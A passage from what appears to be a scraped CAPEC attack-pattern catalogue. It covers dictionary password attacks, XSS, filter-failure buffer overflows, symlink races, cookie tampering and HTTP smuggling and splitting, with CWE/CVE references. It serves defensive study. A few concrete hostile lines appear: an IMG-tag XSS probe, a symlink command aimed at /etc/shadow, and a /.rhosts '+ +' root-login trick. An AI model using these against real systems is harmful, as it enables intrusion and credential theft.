    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).
  3. Select dictionaries: Pick the dictionaries to be used in the attack (e.g. different languages, specific terminology, etc.)
  4. Techniques
    Select dictionary based on particular users' preferred languages.
    Select dictionary based on the application/system's supported languages.
  5. Determine username(s) to target: Determine username(s) whose passwords to crack.
  6. Techniques
    Obtain username(s) by sniffing network packets.
    Obtain username(s) by querying application/system (e.g. if upon a failed login attempt, the system indicates whether the entered username was valid or not)
    Obtain usernames from filesystem (e.g. list of directories in C:\Documents and Settings\ in Windows, and list in /etc/passwd in UNIX-like systems)

Exploit

  1. Use dictionary to crack passwords.: Use a password cracking tool that will leverage the dictionary to feed passwords to the system and see if they work.
  2. Techniques
    Try all words in the dictionary, as well as common misspellings of the words as passwords for the chosen username(s).
    Try common combinations of words in the dictionary, as well as common misspellings of the combinations as passwords for the chosen username(s).
Medium
  • The system uses one factor password based authentication.
  • The system does not have a sound password policy that is being enforced.
  • The system does not implement an effective password throttling mechanism.
  • A machine with sufficient resources for the job (e.g. CPU, RAM, HD). Applicable dictionaries are required. Also a password cracking tool or a custom script that leverages the dictionary database to launch the attack.
Low: A variety of password cracking tools and dictionaries are available to launch this type of an attack. Draft High 3.9
49
XSS Targeting Non-Script Elements Detailed This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an adversary to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote adversary to collect and interpret the output of said attack. 2014-06-23 02:00:00 Capec: CAPEC-18
Cwe: CWE-80
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
Software
Software
  1. An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in their messages that gets executed within the victim's browser whenever the victim reads these messages. ![](javascript:alert\('XSS'\)) When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary records all entry points for inputs that happen to be reflected in a client-side non-script element. These non-script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.
  2. Techniques
    Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.).
    Use a proxy tool to record results of the created requests.
  3. Create malicious XSS content: Once the adversary has determined which entry points are vulnerable to XSS, they will interact with the web application to store the malicious content. Because of the nature of this attack, it is mostly carried out through stored XSS, although it is possible to perform this attack using reflected XSS. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from a victim.
  4. Techniques
    Store a malicious script on a page, disguised as a non-script element, that will execute when viewed by the victim.
    Use a tool such as BeEF to store a hook into the web application. This will alert the adversary when the victim has accessed the content and will give the adversary control over the victim's browser, allowing them access to cookies, user screenshot, user clipboard, and more complex XSS attacks.

Exploit

  1. Get victim to view stored content: In order for the attack to be successful, the victim needs to view the stored malicious content on the webpage.
  2. Techniques
    Send a phishing email to the victim containing a URL that will direct them to the malicious stored content.
    Simply wait for a victim to view the content. This is viable in situations where content is posted to a popular public forum.
High
  • The target client software must allow the execution of scripts generated by remote hosts.
  • Ability to include malicious script in document, e.g. HTML file, or XML document. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine
Low: To achieve a redirection and use of less trusted source, an adversary can simply edit content such as XML payload or HTML files that are sent to client machine. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Draft Very High 3.9
Filter Failure through Buffer Overflow Detailed In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered). 2014-06-23 02:00:00 Capec: CAPEC-24
Cwe: CWE-120
Cwe: CWE-119
Cwe: CWE-118
Cwe: CWE-74
Cwe: CWE-20
Cwe: CWE-680
Cwe: CWE-733
Cwe: CWE-697
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Unreliable Execution
Authorization:
  • Bypass Protection Mechanism
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Bypass Protection Mechanism
Software
  1. Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack.
  2. A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.
  3. Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack.

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user
  2. Techniques
    Spidering web sites for inputs that involve potential filtering
    Brute force guessing of filtered inputs

Experiment

  1. Attempt injections: Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose.
  2. Techniques
    Brute force attack through black box penetration test tool.
    Fuzzing of communications protocols
    Manual testing of possible inputs with attack data.
  3. Monitor responses: Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in?
  4. Techniques
    Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.
    Check Log files. An attacker with access to log files can look at the outcome of bad input.

Exploit

  1. Abuse the system through filter failure: An attacker writes a script to consistently induce the filter failure.
  2. Techniques
    DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.
    Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.
    An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.
High
  • Ability to control the length of data passed to an active filter.
Low: An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector. The result can be a DoS. High: Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. Draft High 3.9
100
Leveraging Race Conditions via Symbolic Links Detailed This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to them. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attackers' Symlink link. If the attacker can insert malicious content in the temporary file they will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file. 2014-06-23 02:00:00 Capec: CAPEC-27
Cwe: CWE-367
Cwe: CWE-61
Cwe: CWE-662
Cwe: CWE-689
Cwe: CWE-667
Reference_from_capec: REF-115
Reference_from_capec: REF-116
2020-07-30 02:00:00 2.1 Integrity:
  • Modify Data
Availability:
  • Resource Consumption (Denial of Service)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. In this naive example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries. The directory /tmp is world-writable. The malicious user creates a symbolic link to the file /.rhosts named /tmp/foo. Then, they invokes foo with "user" as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (e.g. "user password")) in it. It removes the temporary file (merely removing the symbolic link). Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser. [REF-115]
  2. GNU "ed" utility (before 0.3) allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function. See also: CVE-2006-6939
  3. OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp. See also: CVE-2005-0894
  4. Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails. See also: CVE-2000-0972

Explore

  1. Verify that target host's platform supports symbolic links.: This attack pattern is only applicable on platforms that support symbolic links.
  2. Techniques
    Research target platform to determine whether it supports symbolic links.
    Create a symbolic link and ensure that it works as expected on the given platform.
  3. Examine application's file I/O behavior: Analyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files.
  4. Techniques
    Use kernel tracing utility such as ktrace to monitor application behavior.
    Use debugging utility such as File Monitor to monitor the application's filesystem I/O calls
    Watch temporary directories to see when temporary files are created, modified and deleted.
    Analyze source code for open-source systems like Linux, Apache, etc.

Experiment

  1. Verify ability to write to filesystem: The attacker verifies ability to write to the target host's file system.
  2. Techniques
    Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems)
    On platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it.
    Verify permissions on target directory

Exploit

  1. Replace file with a symlink to a sensitive system file.: Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file.
  2. Techniques
    Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead.
    Use other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it.
Medium
  • The attacker is able to create Symlink links on the target host.
  • Tainted data from the attacker is used and copied to temporary files.
  • The target host does insecure temporary file creation.
Medium: This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them). Draft High 3.9
29
Accessing/Intercepting/Modifying HTTP Cookies Detailed This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems. There are several different forms of this attack. The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein. The second form involves intercepting this data as it is transmitted from client to server. This intercepted information is then used by the adversary to impersonate the remote user/session. The third form is when the cookie's content is modified by the adversary before it is sent back to the server. Here the adversary seeks to convince the target server to operate on this falsified information. 2014-06-23 02:00:00 Capec: CAPEC-31
Cwe: CWE-565
Cwe: CWE-302
Cwe: CWE-311
Cwe: CWE-113
Cwe: CWE-539
Cwe: CWE-20
Cwe: CWE-315
Cwe: CWE-384
Cwe: CWE-472
Cwe: CWE-602
Cwe: CWE-642
Attack: T1539
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
  1. There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phishing. In addition, the adversary in the middle attack (CAPEC-94) relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the adversary to accomplish if no other protection mechanisms are in place. See also: CVE-2010-5148 , CVE-2016-0353

Explore

  1. Obtain copy of cookie: The adversary first needs to obtain a copy of the cookie. The adversary may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies.
  2. Techniques
    Sniff cookie using a network sniffer such as Wireshark
    Obtain cookie using a utility such as the Firefox Cookie Manager, Chrome DevTools or AnEC Cookie Editor.
    Steal cookie via a cross-site scripting attack.
    Guess cookie contents if it contains predictable information.

Experiment

  1. Obtain sensitive information from cookie: The adversary may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them.
  2. Techniques
    If cookie shows any signs of being encoded using a standard scheme such as base64, decode it.
    Analyze the cookie's contents to determine whether it contains any sensitive information.
  3. Modify cookie to subvert security controls.: The adversary may be able to modify or replace cookies to bypass security controls in the application.
  4. Techniques
    Modify logical parts of cookie and send it back to server to observe the effects.
    Modify numeric parts of cookie arithmetically and send it back to server to observe the effects.
    Modify cookie bitwise and send it back to server to observe the effects.
    Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend their points and then replace their cookie with an older one to restore their balance.
High
  • Target server software must be a HTTP daemon that relies on cookies.
  • The cookies must contain sensitive information.
  • The adversary must be able to make HTTP requests to the server, and the cookie must be contained in the reply.
  • A utility that allows for the viewing and modification of cookies. Many modern web browsers support this behavior.
Low: To overwrite session cookie data, and submit targeted attacks via HTTP High: Exploiting a remote buffer overflow generated by attack Draft High 3.9
XSS Through HTTP Query Strings Detailed An adversary embeds malicious script code in the parameters of an HTTP query string and convinces a victim to submit the HTTP request that contains the query string to a vulnerable web application. The web application then procedes to use the values parameters without properly validation them first and generates the HTML code that will be executed by the victim's browser. 2014-06-23 02:00:00 Capec: CAPEC-32
Cwe: CWE-80
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
Software
Software
  1. http://user:host@example.com:8080/oradb
  2. Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an adversary would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scripted to target a wide variety of sites. Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an arbitrary code can be added into the standard http string sent to del.icio.us by the adversary, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content.

Explore

  1. Survey the application for public links: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.
  2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Probe public links for XSS vulnerability: The adversary uses the public links gathered in the "Explore" phase as a target list and requests variations on the URLs they spidered before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.
  2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim.
  4. Techniques
    Change a URL parameter to include a malicious script tag.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • Target client software must allow scripting such as JavaScript. Server software must allow display of remote generated HTML without sufficient input or output validation.
  • Ability to send HTTP post to scripting host and collect output
Low: To place malicious payload on server via HTTP High: Exploiting any information gathered by HTTP Query on script host Draft High 3.9
HTTP Request Smuggling Detailed An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request- line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server). See CanPrecede relationships for possible consequences. A maliciously crafted HTTP request, which contains a second secretly embedded HTTP request is interpreted by an intermediary web proxy as single benign HTTP request, is forwarded to a back-end server, that interprets and parses the HTTP request as two authorized benign HTTP requests bypassing security controls. This attack usually involves the misuse of the HTTP headers: Content-Length and Transfer-Encoding. These abuses are discussed in RFC 2616 4.4.3 and section 4.2 and are related to ordering and precedence of these headers. [REF-38] Additionally this attack can be performed through modification and/or fuzzing of parameters composing the request-line of HTTP messages. This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents. This differs from CAPEC-273 HTTP Response Smuggling, which is usually an attempt to compromise a client agent (e.g., web browser) by sending malicious content in HTTP responses from back-end HTTP infrastructure. HTTP Request Smuggling is an attempt to compromise aback-end HTTP agentvia HTTP Request messages. HTTP Splitting (CAPEC-105 and CAPEC-34) is different from HTTP Smuggling due to the fact that during implementation of asynchronous requests, HTTP Splitting requires the embedding/injection of arbitrary HTML headers and content through user input into browser cookies or Ajax web/browser object parameters like XMLHttpRequest. 2014-06-23 02:00:00 Capec: CAPEC-33
Cwe: CWE-444
Wasc: 26
Reference_from_capec: REF-38
Reference_from_capec: REF-117
Reference_from_capec: REF-617
Reference_from_capec: REF-672
Reference_from_capec: REF-673
Reference_from_capec: REF-674
Reference_from_capec: REF-678
Reference_from_capec: REF-681
Reference_from_capec: REF-682
Reference_from_capec: REF-683
Reference_from_capec: REF-684
2022-09-29 02:00:00 2.1
  • HTTP Desync
Integrity:
  • Execute Unauthorized Commands
  • Modify Data
Availability:
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands
  • Gain Privileges
Communications
Software
  1. When using Haproxy 1.5.3 version as front-end proxy server with with Node.js version 14.13.1 or 12.19.0 as the back-end web server it is possible to use two same header fields for example: two Transfer-Encoding, Transfer-Encoding: chunked and Transfer-Encoding: chunked-false, to bypass Haproxy /flag URI restriction and receive the Haproxy flag value, since Node.js identifies the first header but ignores the second header. See also: CVE-2020-8287
  2. When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276
  3. Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both "Content-Length" and a "Transfer- Encoding: chunked" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with "Transfer-Encoding: chunked" header without replacing the existing "Content-Length" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with "Content-Length: 0". See also: CVE-2005-2088

Explore

  1. Survey network to identify target: The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.
  2. Techniques
    Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.

Experiment

  1. Identify vulnerabilities in targeted HTTP infrastructure and technologies: The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, message sizes, and HTTP headers.
  2. Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities: The adversary sends maliciously crafted HTTP requests to interfere with the parsing of intermediary and back-end HTTP infrastructure, followed by normal/benign HTTP request from the adversary or a random user. The intended consequences of the malicious HTTP requests will be observed in the HTTP infrastructure response to the normal/benign HTTP request to confirm applicability of identified vulnerabilities in the adversary's plan of attack.
  3. Techniques
    Continue the monitoring of HTTP traffic.
    Utilize various combinations of HTTP Headers within a single HTTP Request such as: Content-Length & Transfer-Encoding (CL;TE), Transfer-Encoding & Content-Length (TE;CL), or double Transfer-Encoding (TE;TE), so that additional embedded requests or data in the body of the original request are unprocessed and treated as part of subsequent requests by the intended target HTTP agent. From these HTTP Header combinations the adversary observes any timing delays (usually in the form of HTTP 404 Error response) or any other unintended consequences. For CL;TE and TE;CL HTTP header combinations, the first HTTP agent, in the HTTP message path that receives the HTTP request, takes precedence or only processes one header but not the other, while the second/final HTTP agent processes the opposite header, allowing for embedded HTTP requests to be ignored and smuggled to the intended target HTTP agent. For TE;TE HTTP headers combination, all HTTP agents in HTTP message path process Transfer-Encoding header, however, adversary obfuscation (see Mitigations for details) of one of the Transfer-Encoding headers, by not adhering strictly to the protocol specification, can cause it to be unprocessed/ignored by a designated HTTP agent, hence allowing embedded HTTP requests to be smuggled. .
    Construct a very large HTTP request using multiple Content-Length headers of various data lengths that can potentially cause subsequent requests to be ignored by an intermediary HTTP agent (firewall) and/or eventually parsed separately by the target HTTP agent (web server). Note that most modern HTTP infrastructure reject HTTP requests with multiple Content-Length headers.
    Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.

Exploit

  1. Perform HTTP Request Smuggling attack: Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.
  2. Techniques
    Leverage techniques identified in the Experiment Phase.
Medium
273
  • An additional intermediary HTTP agent such as an application firewall or a web caching proxy between the adversary and the second agent such as a web server, that sends multiple HTTP messages over same network connection.
  • Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.
  • HTTP agents running on HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.
  • Tools capable of crafting malicious HTTP messages and monitoring HTTP message responses.
Medium: Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. Stable High 3.9
220
HTTP Response Splitting Detailed An adversary manipulates and injects malicious content, in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., web server) or into an already spoofed HTTP response from an adversary controlled domain/site. See CanPrecede relationships for possible consequences. Malicious user input is injected into various standard and/or user defined HTTP headers within a HTTP Response through use of Carriage Return (CR), Line Feed (LF), Horizontal Tab (HT), Space (SP) characters as well as other valid/RFC compliant special characters, and unique character encoding. A single HTTP response ends up being split as two or more HTTP responses by the targeted client HTTP agent parsing the original maliciously manipulated HTTP response. This allows malicious HTTP responses to bypass security controls in order to implement malicious actions and provide malicious content that allows access to sensitive data and to compromise applications and users. This is performed by the abuse of interpretation and parsing discrepancies in different intermediary HTTP agents (load balancer, reverse proxy, web caching proxies, application firewalls, etc.) or client HTTP agents (e.g., web browser) in the path of the malicious HTTP responses. This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions as well as lack of syntax checking and filtering of user input in the HTTP agents receiving HTTP messages in the path. This differs from CAPEC-105 HTTP Request Splitting, which is usually an attempt to compromise a back-end HTTP agent via HTTP Request messages. HTTP Response Splitting is an attempt to compromise aclient agent (e.g., web browser)by sending malicious content in HTTP responses from back-end HTTP infrastructure. HTTP Smuggling (CAPEC-33 and CAPEC-273) is different from HTTP Splitting due to the fact it relies upon discrepancies in the interpretation of various HTTP Headers and message sizes and not solely user input of special characters and character encoding. HTTP Smuggling was established to circumvent mitigations against HTTP Request Splitting techniques. 2014-06-23 02:00:00 Capec: CAPEC-34
Cwe: CWE-74
Cwe: CWE-113
Cwe: CWE-138
Cwe: CWE-436
Wasc: 25
Reference_from_capec: REF-1
Reference_from_capec: REF-117
Reference_from_capec: REF-617
Reference_from_capec: REF-680
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands
  • Modify Data
Availability:
  • Execute Unauthorized Commands
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands
  • Gain Privileges
Communications
Software
  1. In the PHP 5 session extension mechanism, a user-supplied session ID is sent back to the user within the Set-Cookie HTTP header. Since the contents of the user-supplied session ID are not validated, it is possible to inject arbitrary HTTP headers into the response body. This immediately enables HTTP Response Splitting by simply terminating the HTTP response header from within the session ID used in the Set-Cookie directive. See also: CVE-2006-0207

Explore

  1. Survey network to identify target: The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets
  2. Techniques
    Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.

Experiment

  1. Identify vulnerabilities in targeted HTTP infrastructure and technologies: The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, HTTP headers, syntax checking and input filtering.
  2. Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities: The adversary sends maliciously crafted HTTP request to back-end HTTP infrastructure to inject adversary data (in the form of HTTP headers with custom strings and embedded web scripts and objects) into HTTP responses (intended for intermediary and/or front-end client/victim HTTP agents communicating with back-end HTTP infrastructure) for the purpose of interfering with the parsing of HTTP responses by intermediary and front-end client/victim HTTP agents. The intended consequences of the malicious HTTP request and the subsequent adversary injection and manipulation of HTTP responses to intermediary and front-end client/victim HTTP agents, will be observed to confirm applicability of identified vulnerabilities in the adversary's plan of attack.
  3. Techniques
    Continue the monitoring of HTTP traffic.
    Utilize different sequences of special characters (CR - Carriage Return, LF - Line Feed, HT - Horizontal Tab, SP - Space and etc.) to bypass filtering and back-end encoding and to embed: additional HTTP Requests with their own headers malicious web scripts into parameters of HTTP Request headers (e.g., browser cookies like Set-Cookie or Ajax web/browser object parameters like XMLHttpRequest) adversary chosen encoding (e.g., UTF-7) to utilize additional special characters (e.g., > and <) filtered by the target HTTP agent. Note that certain special characters and character encoding may be applicable only to intermediary and front-end agents with rare configurations or that are not RFC compliant.
    Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.

Exploit

  1. Perform HTTP Response Splitting attack: Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.
  2. Techniques
    Leverage techniques identified in the Experiment Phase.
Medium
105
  • A vulnerable or compromised server or domain/site capable of allowing adversary to insert/inject malicious content that will appear in the server's response to target HTTP agents (e.g., proxies and users' web browsers).
  • Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.
  • HTTP headers capable of being user-manipulated.
  • HTTP agents running on HTTP/1.0 or HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.
  • Tools capable of monitoring HTTP messages, and crafting malicious HTTP messages and/or injecting malicious content into HTTP messages.
Medium: Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. Stable High 3.9
220
Leverage Executable Code in Non-Executable Files Detailed An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. 2014-06-23 02:00:00 Capec: CAPEC-35
Cwe: CWE-94
Cwe: CWE-96
Cwe: CWE-95
Cwe: CWE-97
Cwe: CWE-272
Cwe: CWE-59
Cwe: CWE-282
Cwe: CWE-270
Attack: T1027.006
Attack: T1027.009
Attack: T1564.009
Reference_from_capec: REF-1
2023-01-24 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
